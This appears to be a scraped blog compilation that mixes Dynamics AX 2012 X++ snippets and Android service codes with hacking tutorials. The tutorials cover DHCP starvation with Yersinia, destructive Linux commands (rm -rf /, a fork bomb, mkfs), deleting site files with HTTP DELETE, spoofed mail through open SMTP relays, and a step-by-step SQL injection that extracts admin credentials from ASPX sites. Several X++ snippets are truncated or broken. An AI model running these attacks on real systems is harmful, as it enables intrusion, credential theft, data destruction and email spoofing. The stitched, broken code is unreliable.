AX 2012:Record level security (RLS)

Record level security in Dynamics AX

As user group permissions are responsible for setting up the security and information access in AX,
Record level security is another nice feature in AX system that restrict the records you can see in a table depending on record data.

As an example, there might be a situation where you would like to limit users in sales team to see their customers only,
or Purchase Orders created in one site should be accessed to some users and not to the other users.

RLS - Record level security can be used to restrict information shown on forms and reports. I've put together some steps to implement it.

1. Make sure you have the user group already created, to set RLS on.

2. Open up the RLS wizard from Administration - Setup- Security - Record Level Security

3. Select the User group you want to set RLS on.

4. Select the table and hit finish.

Now that you have the RLS enforced on the table, you can click Query option and specify list of fields on the Range tab
that you want to show on forms and repors for the selected user group.

AX 2012:info Log

The method setPrefix() will help you to group info(), warning() and error() messages with a header. using setPrefix() will make a indentation for your current block of code (everything between { and }). Leaving the code-block will automatically result in going one indentation back.

int i;
int j;
setPrefix("custom setPrefix");

for (i=1 ; i<=2 ; i++)
setPrefix(strfmt("Prefix %1", i));

for (j=1 ; j<=3 ; j++)
info(strfmt("Info %1", j));

try this on a job

AX 2012 :Excel upload

Generate excel upload template  

public static void createTemplate()
    SysExcelWorksheetHelper     worksheetHelper;
    SysExcelHelper              sysExcelHelper;
    SysExcelWorksheet           worksheet;
    int                         currentRow = 1;
    int                         column = 0;
    int                         sumRow;
    str                         worksheetName;
    int                         redColor = WinAPI::RGB2int(255, 0, 0);
    SysExcelRange               range;
    COMVariant                  cellValue = new COMVariant(COMVariantInOut::Out);
    DictField                   field;

    // Sets the font color for a range of cells
    void setRangeFont(int _fromColumn, int _fromRow, int _toColumn, int _toRow, int _rgbIntColor)
        range = worksheetHelper.getWorksheetRange(_fromColumn, _fromRow, _toColumn, _toRow);
        worksheetHelper.setFontColor(range, _rgbIntColor);

    worksheetName       = 'customsheetname'';
    sysExcelHelper      = SysExcelHelper::construct();
    worksheet           = sysExcelHelper.addWorksheet(worksheetName);
    worksheetHelper     = SysExcelWorksheetHelper::construct(worksheet);

    // Populate the header row with the appropriate field labels and format the columns
    worksheetHelper.addColumn(1, 'Item', Types::String);
    worksheetHelper.addColumn(2, 'Barcode', Types::String);
    worksheetHelper.addColumn(3, 'Quantity', Types::Real);
    worksheetHelper.addColumn(4, 'Order reference', Types::String);
    worksheetHelper.addColumn(5, 'Serial number', Types::String);
    worksheetHelper.addColumn(6, 'WareHose', Types::String);
    worksheetHelper.addColumn(7, 'Location', Types::String);



AX 2012 :Financial Dimensions Lookup

add this logic into your lookup method and pass dimensionAttributeName = your dimension name
    Args                    args;
    FormRun                 lookupFormRun;
    DimensionAttribute      dimAttr;
    Object                  object;
    Name                    dimensionAttributeName;
    LTFinDimLink                        ltFinDimLink;

    select * from ltFinDimLink;
      dimensionAttributeName =   FinDimLink.color;
    if (_ctrl != null)
        // Construct arguments for the custom lookup
        args = new Args();;

        // Find the dimension attribute associated with the string control which called this method
        dimAttr = DimensionAttribute::findByLocalizedName(dimensionAttributeName);

        // Run the custom lookup and init the lookup form
        lookupFormRun = classfactory.formRunClass(args);

        // Specify this is the callback on the lookup form by casting the
        // form to an object and late binding the setResultCallback method
        if (SysFormRun::hasMethod(lookupFormRun, identifierStr(setResultCallback)))
            object = lookupFormRun;


AX 2012:Date Conversion

Date Conversion

public boolean validateField(FieldId _fieldIdToCheck)
    boolean ret;
    str     datestr;

    ret = super(_fieldIdToCheck);

    ret = super(_fieldIdToCheck);
        if (ret)
            switch (_fieldIdToCheck)
                case fieldnum(LTMortgage, ValidTo) :
                    datestr = Date2Str(this.ValidTo,123,2,3,2,3,4);
                    if (datestr!= "" && this.ValidTo <= this.ValidFrom)
                        ret = checkFailed('ValidTo date should be greater than ValidFrom date');
                case fieldnum(LTMortgage, ValidFrom) :
                    datestr = Date2Str(this.ValidFrom,123,2,3,2,3,4);
                    if (datestr!= "" && this.ValidFrom >= this.ValidTo)
                        ret = checkFailed('ValidFrom date should be less than ValidTo date');

    return ret;

I am getting following best practice when I write following code


BP error : "dateflag should be specified when calling date2str"

how to resolve this Best practice.

resolved this BP when added DateFlags::None

AX 2012 :Financial Dimensions

Financial Dimensions

Here is a couple of helper methods that simply the retrieval of dimension data.
These can be included in a helper class and referenced to as static methods are normally,
but I recommend including these in your Global class, then you can just call the method directly.
I have 2 methods: dimValue() and dimDesc(), they return the value and description, respectively.
 Code and usage is below:

//Usage for dimValue() and dimDesc()
static void JobDimensionUsage(Args _args)
    SalesLine       sl;

    DimensionValue  value;
    Description     desc;
    select firstonly sl;

    value = dimValue(sl.DefaultDimension, 'Department');
    desc = dimDesc(sl.DefaultDimension, 'Department');

    info(strfmt("%1: %2", value, desc));
static DimensionValue dimValue(RefRecId _defaultDimension, Name _name)
    DimensionAttributeValueSetItemView  davsi;
    DimensionAttribute                  da;
    select DisplayValue from davsi
    where davsi.DimensionAttributeValueSet == _defaultDimension
    join RecId from da
    where da.RecId == davsi.DimensionAttribute
        && da.Name == _name;

    return davsi.DisplayValue;

static Description dimDesc(RefRecId _defaultDimension, Name _name)
    DimensionAttributeValueSetItemView  davsi;
    DimensionAttribute                  da;
    DimensionFinancialTag               dft;
    DimensionAttributeDirCategory       dadc;
    DimAttributeCustTable               dact;
    DimAttributeProjTable               dapt;
    select DimensionAttributeValueSet from davsi
    where davsi.DimensionAttributeValueSet == _defaultDimension
    join RecId from da
    where da.RecId == davsi.DimensionAttribute
        && da.Name == _name
    outer join Name from dadc
    where dadc.DimensionAttribute == da.RecId;
    outer join Description from dft
    where dft.RecId == dav.EntityInstance
        && dft.FinancialTagCategory == dadc.DirCategory
    outer join Name from dact
    where dact.RecId == dav.EntityInstance
        && dact.Value == davsi.DisplayValue
    outer join Name from dapt
    where dapt.RecId == dav.EntityInstance
        && dapt.Value == davsi.DisplayValue;

    return (dft.Description ? dft.Description : (dact.Name ? dact.Name : (dapt.Name ? dapt.Name : "")));

reference from

AX 2012: Dimensions

AX 2012 Dimensions

Inventory Dimensions are classified into 3 groups

1. Product :: Color,Size,Configuration.

2. Storage:: Site, Warehouse,Location,Pallet Id.

3. Tracking :: Batch number , Serial number.

Financial dimensions

GL > setup > Financial dimensions [there will be Existing and custom list etc.]

Secret Codes For Android

Secret Codes For Android 

1. Complete Info About your Phone


This code can be used to getsome interesting information about your phone and battery. It shows following 4 menus on screen:
Phone information
Battery information
Battery history
Usage statistics

2. Factory data reset

*#*#7780#*#* .

This code can be used for a factory data reset. It'll remove following thing
Google account settings stored in your phone
System and application data and settings
Downloaded apps.. It'll NOT remove: Current system software and bundledapplication
SD card files e.g. photos, music files, etc.
Note: Once you give this code, you get a prompt screen asking you to click on "Reset phone" button. So you get a chance to cancel your operation.

3. Format your Android.

Think before you give this code. This codeis used for factory
format. It'll remove all files and settings including the internal memory storage. It'll also reinstall thephone firmware.

Note: Once you give this code, there is no way to cancel the operation unless you remove the battery from the phone. So think twice before giving this code.

4. Phone Camera Update

*#*#34971539#*# *

This code is used to get information about phone camera. It shows following 4
1. Update camera firmware in image (Don't try this option)
2. Update camera firmware in SDcard
3. Get camera firmware version
4. Get firmware update count

WARNING: Never use the first option otherwise your phone camera will stop
working and you'll need to take your phone to service center to reinstall camera firmware.

5. End Call/Power


This one is my favorite one. This code can be used to change the "End Call / Power" button action in your phone. Be default, if you long press the button, it
shows a screen asking you to select any option from Silent mode, AirPlane mode and Power off. You can change this action using this code. You can enable direct power off on this button so you don't needto waste your time in selecting the option.

6. File Copy for Creating Backup

*#*#273283*255* 663282*#*#*

This code opens a File copy screen where you can backup your media files e.g. Images, Sound, Video and Voice memo.

7. Service Mode

*#*#197328640#* #*
This code can be used to enter into Service mode. You can run various tests and change settings in the service mode.

8. WLAN, GPS and Bluetooth Test Codes:
*#*#232339#*#* OR*#*#526#*#* OR*#*#528#*#* - WLAN test (Use
"Menu" button to start various tests)

*#*#232338#*#* - Shows WiFi MAC address

*#*#1472365#*#* - GPS test

*#*#1575#*#* - Another GPS test

*#*#232331#*#* - Bluetooth test

*#*#232337#*# - Shows Bluetooth device address

9. Codes to get Firmware version information:

*#*#4986*265046 8#*#* - PDA, Phone, H/W, RFCallDate

*#*#1234#*#* - PDA and Phone

*#*#1111#*#* - FTA SW Version

*#*#2222#*#* - FTA HW Version

*#*#44336#*#* - PDA, Phone, CSC, Build Time, Changelist number

10. Codes to launch various Factory Tests:

*#*#0283#*#* - Packet Loopback

*#*#0*#*#* - LCD test

*#*#0673#*#* OR*#*#0289#*#* - Melody test

*#*#0842#*#* - Device test (Vibration test and BackLight test)

*#*#2663#*#* - Touch screen version

*#*#2664#*#* - Touch screen test

*#*#0588#*#* - Proximity sensor test

*#*#3264#*#* - RAM version


Hack a DHCP Server

How To Hack a DHCP Server

What is DHCP?
Dynamic Host Configuration Protocol ( DHCP ) is a
network protocol that enables a server to automatically
assign an IP address to a computer from a defined
range of numbers (i.e., a scope) configured for a given
DHCP work on DORA concept.
1. Client makes a UDP Broadcast to the server with a
DHCPDiscover, or Discover packet.
2. DHCP offers to the client. The server sends a
DHCPOffer including other configuration parameters
(DHCP Options) for the client per the servers
configuration file
3. In response to the offer Client requests the server.
The client replies DHCPRequest, unicast to the server,
requesting the offered address.
4.The server sends DHCP Ack acknowledging the
request which is the clients final permission to take the
address as offered. Before sending the ack the server
double checks that the offered address is still available,
that the parameters match the clients request and (if
so) marks the address taken.
Attack on DHCP Server :-
Open the Kali Linux terminal and type the command
root@kali:~#yersinia -G to open the GUI interface of
now click on the Launch Attack option and select the
DHCP option.
now select the Sending DISCOVER packet option for
your attack.and click on the OK.
now it will start the attack on DHCP server , it will send
ton of packets on your DHCP server within second.
With Yersinia , you are able to attack on CDP , DHCP ,
802.1Q , 802.1X ,DTP , HSRP, ISL , STP and VTP
Countermeasures or Mitigation :-
You need to be enable DHCP Snooping on the Cisco
DHCP snooping allows the configuration of ports as
trusted or untrusted
Untrusted ports cannot process DHCP replies
Configure DHCP snooping on uplinks to a DHCP
Do not configure DHCP snooping on client ports.
Configuring DHCP Snooping

Note :- This Tutorial is for Education Purpose only.


Compress Large Files

How To Compress Large Files Using Winrar

WinRAR is a powerful archive manager. It can backup your data and reduce size of email attachments, decompress RAR,ZIP and other files downloaded from Internet and create new archives in RAR and ZIP file format.
You can download the trial version of the software at rarlab. com

To compress large file using Winrar follow simple steps given below:

Step 1: Select and Right click on the file you want to Compress and select Add to Archive option.

Step 2: A window will pop up with various options. In Archive name field type the name of your archive manually in the text box provided below.
Step 3: When creating a new archive, you first need to select the archive format.
ZIP is preferable when you are not sure that a receiver of your archive has WinRAR.
Otherwise just select RAR, since it provides more options and higher compression.
Step 4: There are six compression methods supported: "Store", "Fastest", "Fast", " Normal", "Good" and "Best".
The Best method provides high, but slow compression.
Fastest method compresses poorly, but it is very fast. Store method just merges files into an archive without any compression.
If you want to create an archive for distribution or for long storage,
It would be best to probably ignore the time constraint and choose the Best compression method to reduce the size as much as possible.
But for daily backups choose Normal compression method.
Step 5: At the bottom there is a Tab saying “ Split to Volume, Bytes” In the box enter a figure or you can use the drop down menu to make your choice.
Remember you have to enter the value in bytes, kilobytes or megabytes and this applies only to .rar extension. (1024 KB equals 1 MB)
In the example below, I have chosen 98078 KB which comes to around 95.77 MB.
Step 6: When you have chosen the right options for your archive, click the OK button.

Deadly Commands In Linux

Deadly Commands In Linux

1. rm -rf /  = Will Delete Everything.

 rm : Removes the files.
-rf : This Command will Run rm and will delete all files and folders without promting you
/ : This command will tell rm to start from root directory ie: all files on your computer including removable Drives.

2. :(){ :|: & };: = This Line Looks Simple but its Dangerous , Bash Function.
It Defines Shell Function that will Create New Copies Of Itself . This Process will Continue and Freeze Your Computer. It Can also be Called as Danial-of-Server Attack.

3. mkfs.ext4 /dev/sda1 = This Command will Format Your Hard drive

mkfs.ext4 : This part of command will create a new ext4 file system on following device.
/dev/sda1 : This part specifies the 1st partition on the 1st hard drive which is probably in use.

Similarly, This Command >  mkfs.ext3 /dev/sdb2  will Format the 2nd partition on the 2nd Hard drive with ext3 File system.

4. command > /dev/sda – This Command will Write Directly to a Hard Drive.
It Runs The command and sends the output of the command directly to Hard drive, writing the data to a Hard drive and Damaging your System.

command : Runs any Command
> : Sends the Output of the command to the following location.
/dev/sda : This command writes the output of the command directly to the hard disk.

5. mv ~ /dev/null – This Command Will Move your Home Directory To Black hole.
Consider /dev/null as Black hole here, moving anything to /dev/null is Gone Forever. Hence mv ~ /dev/null  will send all your personal files into black hole.

mv : moving following files to Another location.
~ :  This Represents your Entire Home Folder.
/dev/null : moves your home folder , Destroys all your files and deletes the original copy.
- See more at:

How To Delete Files Of A Website

How To Delete Files Of A Website 

There is a way to delete files of a website with the help of the http [hyper text transfer protocol] but this security hole is mostely
closed, this hole is caused by stupid administrators which can't configure there apache or iis or any other http server

4-1-1 - HTTP

The http exists since 1990, before this time the internet was used to make a file exchange with the ftp or to get in mailboxes where you can write messages or many other things, with the http and html [hyper text mark language] the www_clients like netscape or ie can interprete this hyper text to display informations or other things like you know, but what the user can't see when he uses such a client that the http follows also the request_answer_play, the client requests informations with a special command, which i will explain beside others later, and the http server answers with the requested informations, this requests or answers are http messages which could be simple_request or simple_response or full_request or full_response, the simple http_messages based on http/0.9 and the full messages on http/1.0, but the difference between this messages is very small, except the one of html/0.9 and html/1.0

1 - get [address], the address is the whole like this command requests the informations [the code] in this file and if the file is a cgi it have to be executed and the produced informations will be send to client the difference between this simple_request and the full_request is that the full_request ends with http/1.0 like this : [get http/1.0]

2 - head [addy], it have to be a complete addy too, the small difference between this command and the get command is that this command only meta_tags and the other informations in the title tag

3 - post [addy], this is used for bigger data it is mostley used for data which have to be send to a program

4 - put [addy], with put you send data to the server like html documents and this data is saved under the addy

5 - delete [addy], this is the opposite of put so it deletes the data which you have specified with the addy

4-1 - How To Delete Files Of A Website
With your instinct you have discovered that there is a security hole, the http protocol today is used in combinition with the ftp, so that means ftp is used by webmasters to upload their files and http is used by the client to resolve these site, but in former times concrete, at the development of the http the developers aimed to make it easier to upload files, so not with the ftp and that means without a special ftp-client, so they created a command to upload and delete files on a webserver, but the problem is that the http didn't use an authentication but ftp does, so that means that the most administrators disabled these commands to shut a security hole, but there are not only experienced admins out there but stupid too, so there is still such a hole which waits to be used, how ever telnet is an excellent simple tool, so if you want to use this security hole connect to the destination hostname or ip [you can use a hostname because dns will be used to resolve the ip] on port 80, i have showed you guys how to do it, when the connection is established you can use the commands which are discribed.



What is Telnet ? 

Most of you only know that telnet is a Port [Port 23] or that telnet is a remote control tool, remote control means in this aspect that you as client can get a connection to for example a telnet server and then you can write commands in a derivate of a shell and these commands are executed only on this server not on your machine, but i want to show all you guys how to use this simple remote control tool in several ways, because this simpleness is brilliant, so hope i answered this question and if you are interested in go on and read if not stop reading and go pissing2 - How To Use Telnet ?

Telnet is a text based tool, so if you want to connect to the destination [] write: 'telnet 23', so you see at first there is the command telnet to start the telnet client, the next is the destination address and last is the port, you know the telnet port 23, so i hope now you can use telnet3 - How To Send Anonymous Mails ?
3-1 - SMTP

Yes first i have to say somehting about the smtp [simple mail transfer protocol], the standard is written down in the rfc 821 [rfc = request for comments] it goes back to the year 1982, this rfc defines the commands which could be used These commands :

1 - HELO [client adress or name], it marks the begin of that telnet session and sends your name or address to the smtp server

2 - MAIL FROM [your mail addie], with this command you send your mail addie to server is also written in the e-mail as sender

3 - RCPT TO [recipient], with this command you define the recipient

4 - DATA, this marks the begnning of the e-mail if the server sends an ack [ackwoledge] you can begin to write the message

5 - RSET, reset this establishs the initial stage and the connection is canceled

6 - NOOP, no operation so it means that nothing is done

7 - QUIT, this is the ending of the smtp connection

But this are only the most important commands many commands have been added in this time after the rfc has defined them

EXPN, expand with this command maillist support will be available
VRFY, verify this command requests the confirmation of the recipient address
Caused of this addition them smtp is also called esmtp which means Extended smtp

3-2 How To Use SMTP To Send Anonymous Mails
First you have to find a free accessable smtp server, caused by spaming many servers has secured their systems like gmx with [smtp after pop] which means that at first you have to login at pop with your username and password for your gmx e-mail addie, after that the srever saves your ip for a special time in which you can connect to smtp server to send mails, freenet uses another secured system, this smtp server denies special recepient addies, so you have to search a free accessable mail server with out such secured servers, they exists, so after you have found such a server you can write in your shell : [telnet <serveraddy> 25] then your client connects to it, here is a complete telnet session :

Connected to
220 {mp015-rz3} GMX Mailservices ESMTP
250 {mp015-rz3} GMX Mailservices
250 ... Sender Okay
250 ... Recipient Okay
354 Enter mail, end with "." on a line by itself
Operating Systems are like sex, you have the best if it is free
250 Mail accepted
221 closing connection
Connection closed by foreign host.

First your client trys to connect to the mail server, as sign that the connection is established the server answers with a command like that, then you say hello to the server with the command [HELO] and your machines name, next is another answer from server which is unimportant, after it you send your mail addy to server with the command [MAIL FROM:] followed by your addy, then the server check this addy and if it's ok he will inform you about it, next he expects the recipient and you won't let him wait with the command [RCPT TO:] followed by the addy of the recipient, if it's also ok you can start to write your mail after the command [DATA] which is followed by the ack of the server and the text or character which marks the end of the mail, then you write your mail
and end it how the server expect it, if the mail is ok the server will inform you for the last time in this session, after it there is no cause which should hold your connection so you will end it with [QUIT] and the server will send a last stupid message as sign that the connection is closed

Vulnerabilities Website

Types of Web Vulnerabilities 

[x] PHP code injection
[x] PHP curl_exec() url is controlled by user
[x] PHP invalid data type error message
[x] PHP preg_replace used on user input
[x] PHP unserialize() used on user input
[x] Arbitrary File Deletion
[x] Code Execution Hacking(LFI,RFI,Iframe Injection, Remote Code Execution)
[x] Cookie Manipulation (Meta HTTP-EQUIV & CRLF Injection)
[x] CRLF Injection (HTTP response splitting & Headers Injection)
[x] Cross Frame Scripting ( XFS )
[x] Cross-Site Scripting ( XSS - Persistent, Non-Persistent, DOM Based)
[x] Directory traversal including shell uploading
[x] Microsoft Office possible sensitive information
[x] Possible internal IP address disclosure
[x] Possible server path disclosure (Unix and Windows)
[x] Possible username or password disclosure
[x] Sensitive data not encrypted
[x] Source code disclosure
[x] Cross-Site Request Forgery (CSRF)
[x] Email Injection
[x] File Inclusion (LFI,RFI with and without null byte)
[x] Full Path Disclosure
[x] LDAP Injection
[x] Remote XSL inclusion
[x] Script source code disclosure
[x] Server-Side Includes (SSI) Injection
[x] Structured Query Language Injection(SQL Injection)
[x] URL Redirection
[x] XPath Injection vulnerability
[x] EXIF
[x] Buffer Overflows
[x] Clickjacking
[x] Dangling Pointers
[x] Format String Attack
[x] FTP Bounce Attack
[x] Symlinking and Server Rooting
[x] Blind SQL injection (timing - Boolean Based)
[x] Blind SQL Injection (Blind SQL String Based and Double Query Blind Based)
[x] 8.3 DOS Filename Source Code Disclosure
[x] Search for Backup files
[x] Cross Site Scripting in URI
[x] PHP super-globals-overwrite
[x] Script errors (such as the Microsoft IIS Cookie Variable Information Disclosure)
[x] WebDAV (very vulnerable component of IIS servers)
[x] Application error message
[x] Check for common files
[x] Directory Listing
[x] Email address found
[x] Local path disclosure
[x] Possible sensitive files

OSI Layers

7 Layers of OSI

The ISO (International Organization for Standardization) decided to construct a framework of standards in which different vendors would be able to use in order to communicate over a network consisting of diverse equipment and applications.  This framework is now considered the standard for communication of networks.  The OSI is divided into 7 layers, which divides the task into smaller more manageable task groups.  Each task or group of tasks assigned to each layer can also be implemented independently.  This limits complications between layers because the solutions offered by one layer do not adversely affect the other layers.

The 7 layers can be split logically into two subgroups.  Layers 7 thru 4 focus on the end to end communication of data source and destinations.  Layers 3 thru 1 are provide consistent communication between the network devices.  An easier way of looking at the OSI model is dividing the upper layers (7, 6, 5) from the lower layers (4, 3, 2, 1).  The upper layers deal with application issues and are implemented only in software.  The highest layer, the application layer, is the closest to the end user.  The lower layers are responsible for the transportation of the data.  The physical layer and the data link layer are implemented in hardware and software. The lowest layer, the physical layer, is closest to the physical network medium (the wires, for example) and is responsible for placing data on the medium.

The following is a top-down explanation of the OSI Model. It starts with the user's PC and it follows what happens to the user's file as it passes though the different OSI Model layers. The top-down approach was selected specifically (vs. starting at the Physical Layer and working up to the Application Layer) for ease of understanding. It is used here to show how the user's files are transformed (through the layers) into a bit stream for transmission on the network.


The application level provides services that directly support the user applications, such as user interface, e-mail, file transfer, database access, etc. There are many protocols at this layer that are commonly needed such as HTTP, WWW, FTP, TELNET, SMTP. It gives applications access to the network through the layers below. Another important function is file transfer between computers. Some computers store file names or represent text lines differently. The application layer takes care of the incompatibilities and allows a smooth transfer between systems.
Protocols: FTP1, HTTP2, SMTP3, DNS4, TFTP5, NFS6, TELNET7.


The presentation level is translator between the application and network format. Unlike the lower layers, its concern is with the syntax and semantics of the information transmitted. Most user programs do not exchange random binary bit strings. They exchange data such as names, addresses, dates, etc. Different computers store the data in a different way. In order to allow these computers to transmit the data to each other the presentation layer translates the data into a standard form to be used on the network. Another function is data compression which can be used to reduce the number of bits needed to send the packet of information. Security is also added at this layer by using data encryption and decryption. This prevents others from intercepting the data and being able to decipher the meaning of the bits.
Protocols: ASCII8, EBCDIC9, MIDI10, MPEG11, JPEG12.


 This layer allows applications on connecting systems to communicate using a session. It opens, uses, and closes this communication link. It also acts as a dialog control mechanism controlling who is able to transmit. Sessions can allow data to be sent in both directions at the same time or only one direction. The session layer determines who has the ability to transfer at the current time. Another valuable ability is to insert checkpoints during data transfers. During a large file transmission if the system crashes the checkpoints allow the system to start downloading at the last known checkpoint. An example of this is during either a interactive login or file transfer connection, the session would recognize names in the session and register them into a history. It could then connect and reconnect in case of a system crash at either of the systems.
Protocols: SQL13, RPC14.


 The basic function of the transport layer is to accept data from the session layer, break up the data into smaller units if need be, and send these manageable data packets to the network layer. At the destination this layer is responsible for combining the packets into their original state. This layer also checks to see if the layers are in the right order when received and not in duplicated form. If there is an error in one of the packets there is a request for that packet's retransmission. There are two protocols that sit at this layer. First, the TCP protocol connects the sender and the receiver using a socket which is determined by the IP address and port number. TCP keeps track of the packet delivery order and which ones need to be resent. UDP on the other hand is a connectionless communication and does not guarantee packet delivery between sender and receiver. Because it is connectionless the sender sends the data into the network with an IP address of the receiver and hopes it makes it to its destination. Since there is not a way of asking the sender to retransmit because of an error there is little error protection if any.
Protocols: TCP15 or UDP16.

The network layer basically handles all of the addressing issues. This layer addresses packets, determines the best path or route, and manages network problems such as data congestion. There are three ways in which the packets are routed to their destinations. First, there could be a static route through the entire network that will never be changed. Second, there could be a static line only used during a particular session between the sender and receiver. Finally, the packets could be dynamically sent through the network using changing paths in order to prevent bottlenecks. The bottlenecks are formed when there are too many packets present in one subnet causing them to get in each other's way. The network level is also responsible for converting the network address and names to the MAC addresses of the machines. One of the most important functions of this layer is the ability to allow two different networks using conflicting addressing schemes to be able to send data to each other. The network layer allows the different protocols to "talk" to each other and understand where the packet's destination is.  Routers work at this level by sending the packets along the network.
Protocols: IP17, ICMP18, ARP19, PING20, Traceroute21.


The data link layer defines the format of data on the network. All of the data sent through the network are made into a frame which is performed at this level. The frame is a uniform way of sending the data along with address information and error checking capabilities. CRC is used for the error detection at this level. If at the receiving end the CRC fails at this level there is a request back to the sender for retransmission of this packet.
Protocols: IEEE 802.222, 802.323, 802.524.


 The physical layer is responsible for establishing, maintaining and ending physical connections (point to point) between computers. This layer is concerned with the actual interpretation of the bit stream into an electrical signal that can be carried across a physical medium. The protocols at this layer deal with the binary transmission, voltage levels, and data rates. This layer would also specify physical medium properties such as cables and network cards.
Protocols: IEEE 802.323, 802.524.

-by Kali Linux

Hack Website

Hacking Aspx websites

 how to make a injection on a aspx based website.

1) seach aaspx website.
for this step you can use one of this dorks

2) If you found one lets check if the website is vulnverable. Add this text after the url
"order by 1--"
example : order by 1--
Now you will get a Error : "Page not found" or something like that.

3) Lets go on and begin with the Injection the first step of every injection is to find out the columns.
for this step we use :
"having 1=1"
you only have to copy it behind the url
example : having 1=1

4) Well lets go on and search the tables. Use this code for it
and 1=convert
example : and 1=convert
The output is the first table of the databse. But this table don't helps you .
You need to find the admin table.
Use this query to get the next table :
"and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))"

example : and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))

Now we get the name of the admin table. The Admintable name is in this example "Administration"

5) Now lets get into the table Administration
use this query for it:
and 1=convert

"(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))"

example : and 1=convert
(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))

6) Our results are the tables "AdminName" and "AdminPassword"
Now have dont the most part of this injection. The last step is to find out Adminname and Adminpassword.

Query for Admin name :
"and 1=convert(int,(select top 1 AdminName from Administration))"
example : and 1=convert(int,(select top 1 AdminName from Administration))

Query for Admin pass :
"and 1=convert(int,(select top 1 AdminPassword from Administration))"
example : and 1=convert(int,(select top 1 AdminPassword from Administration))

7) So now your are nearly finish. You only need to find out the Admin Login Pannel.

Setup open VPN

How to Setup FreevpnMe using openVPN

  1. Download openVPN from here
  2. install openVPN client
  3. Get FreeVPNme Credenitals and clientbundle from here
  4. extract the clientbundle and copy the configuration files
  5. open C:\programfiles\openvpn\config [paste the file in this directory\
  6. right click opnvpn tray icon ,It will list all the connections used in the clientbundle
  7. select one and click connect 
  8. provide username and password 
  9. thats it , youre done.Enjoy

AX 2012:Loop through records

Loop through record from data source [AX 2012]

1.Using a while loop

salesLine_ds    = _salesLine.dataSource();
    localSalesLine  = salesLine_ds.getFirst(true) as SalesLine;

    if (localSalesLine)
        while (localSalesLine)
            //Do your logic
            localSalesLine = salesLine_ds.getNext() as SalesLine;

2.Using a for loop

salesLine_ds = _salesLine.dataSource();
    for (localSalesLine = salesLine_ds.getFirst(true) ? salesLine_ds.getFirst(true) :    salesLine_ds.cursor();
         localSalesLine = salesLine_ds.getNext())
        //your logic

AX 2012: Create new module

How to Create new module in ax 2012

New Module:

1-  create a "Parameter" table in "Table" node of AOT (Like – “OfcAdminParameters”).

2- Create "Key" field in that table.

3- Create "Index" for "Key" field.

4- Create several methods in "Methods" node of "Parameter" table in AOT. (Like - Delete, Update, exist, and Find, NumberSeqModule)
Methods –on Parameter table level
Void delete ()
Throw error ("@SYS23721");
Void update ()
Super ();
//just write flush Parameter table name
Flush OfcAdminParameters;
Static Boolean exist ()
Return (select firstonlyRecId from OfcAdminParameters).RecId != 0;
Static OfcAdminParameters find (Boolean _forupdate = false)
OfcAdminParameters parameter;


Select firstonlyparameter Index Key     Where parameter.Key == 0;
If (!parameter&& !parameter.isTmp())
Return parameter;

Static client server NumberSeqModulenumberSeqModule ()
Return NumberSeqModule::OfcMgmt;

// If you want to create another module then -
5- Now, add an element to "NumberSeqModule"BaseEnum.
6- Create a new Number Sequence Class Named "NumberSeqModuleModuleName"

7- Add a method "NumberSeqModule" to that class.

Method’s for NumberSeqModuleModuleName class –
1.Class Declaration:-
public class NumberSeqModuleOfficeManagement extends NumberSeqApplicationModule


Public NumberSeqModulenumberSeqModule ()
  Return NumberSeqModule::OfcMgmt;
8- Create a "Form" to display the new “parameter table's data”.
9- In Class "NumberSeqModuleModuleName" add override method "load module".
Coding  of Load Module =>
 Public void loadModule ()
NumberSeqDatatypedatatype = NumberSeqDatatype::construct ();
this.create (datatype);

10-To load "NumberSeqLoadModule" information for module, create “Job”.
Coding for Job =>
Public static void InstallOfficeManagement (Args _args)
NumberSeqModuleOfficeManagement n = new NumberSeqModuleOfficeManagement ();
  // NumberSeqModuleFacilityManagement n = new NumberSeqModuleFacilityManagement ();
n.loadModule ();
Print ("Job Executed Successfully");
11-Now Setup "Number Sequence" just follows these steps;
    a) Go to CEU> Organization Administration
    b) Then Number Sequences > Number Sequences
    c) Click on "Number Sequence" in "New" tab.
    d) Fill the information in "Identification" tab.
    e) In "Scope parameters" tab select (Shred/Company)
    f) In "Segments" tab set the length of number sequence.
    g) Now in "General" setup click "continuous" option.
    h) Save and generate.
i) Click "close"

12-Now add "NumRef" method in "parameter table" name “NumRefEDTname”.Coding for NumRef Method :-
static client server NumberSequenceReferencenumRefCourierID()

13-In class declaration of a form add =>
Public class FormRun extends ObjectRun
14-Add "NumberSeqFormHandler" method to the form.
Coding for NumberSeqFormHandler Method =>
NumberSeqFormHandlerNumberSeqFormHandler ()
If (!numberSeqFormHandler)
NumberSeqFormHandler = numberseqformhandler::newForm(OfcAdminParameters::numrefCourierTransID().NumberSequenceId,element,Courier_Invoice_Table_1_ds,fieldNum(Courier_Invoice_Table, CourierTransID));
Return NumberSeqFormHandler;

15-Write "close" method in form methods node and "link active, Validate write, Write, Delete" methods on methods     node of data source of form.
Coding  for “Close” Method=>
void close()
if (NumberSeqFormHandler)

Coding  fordatasource method’s:-
LinkActive =>
public void linkActive()

ValidateWrite :-
boolean         ret;
ret = super();
ret = element.numberseqformhandler().formMethodDataSourceValidateWrite(ret) && ret;
if (ret)
return ret;

public void write()

Delete :-
public void delete()

Create =>
public void create(boolean _append = false)
//In the below line we have to write datasourcename.fieldname (very very important for number sequence)
  Courier_Invoice_Table_1.courierTransID = NumberSeq::newGetNum(OfcAdminParameters::numrefCourierTransID(),true).num();
Courier_Invoice_Table_1.InvoiceNumber = NumberSeq::newGetNum(OfcAdminParameters::numrefInvoiceNumber(),true).num();
Courier_Invoice_Table_1.VoucherNumber = NumberSeq::newGetNum(OfcAdminParameters::numrefVoucherNumber(),true).num();

Other senario Table Methods:-
static FleetParameters find(boolean _forupdate = false)
FleetParameters  parameter = null;


select firstonly parameter index Key where parameter.Key == 0;

if (!parameter && !parameter.isTmp())

return parameter;

public static NumberSeqModule numberSeqModule()
return NumberSeqModule::FleetMngmt;

static client server NumberSequenceReference numRefFleetNum()
return NumberSeqReference::findReference(extendedTypeNum(fleetnumber));

static client server NumberSequenceReference numRefRouteId()
return NumberSeqReference::findReference(extendedTypeNum(RouteId));
FOrm Methods
public class FormRun extends ObjectRun

NumberSeqReference          numberSeqReference;
boolean                     runExecuteDirect;
TmpIdRef                    tmpIdRef;
NumberSeqScope             scope;
NumberSeqApplicationModule numberSeqApplicationModule;
